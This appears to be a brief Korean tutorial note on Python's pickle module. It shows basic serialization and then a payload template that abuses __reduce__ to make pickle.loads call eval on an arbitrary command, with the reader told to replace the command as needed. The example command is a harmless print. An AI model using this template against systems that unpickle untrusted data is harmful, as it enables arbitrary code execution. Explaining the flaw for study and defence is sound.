원리에 대한 내용보다는 실제 필요한 내용만 간단하게 정리.
python pickle
모듈은 data serialize에 쓰는 모듈이다.
serialize란 class나 function 등을 문자열의 형태로 바꿀 수 있는 것이다.
pickle의 간단한 사용법은 아래와 같다.
import pickle
data = {'name': 'jihun', 'userid': 'hunjison', 'password': 'passpass'}
# serialize
serialized_data = pickle.dumps(data) # type : bytes
# deserialize
deserialized_data = pickle.loads(serialized_data)
취약점은 pickle 데이터를 loads하는 과정에서 동작하는 내장 함수인 __reduce__()
에서 발생한다.
payload 짜는 과정은 아래와 같다.
class Exploit:
def __reduce__(self):
cmd = "print('It can print or something')"
return (__builtins__.eval, (cmd,))
payload = pickle.dumps(Exploit())
print(payload)
위 payload에서 cmd 부분만 상황에 맞게 바꾸어주자.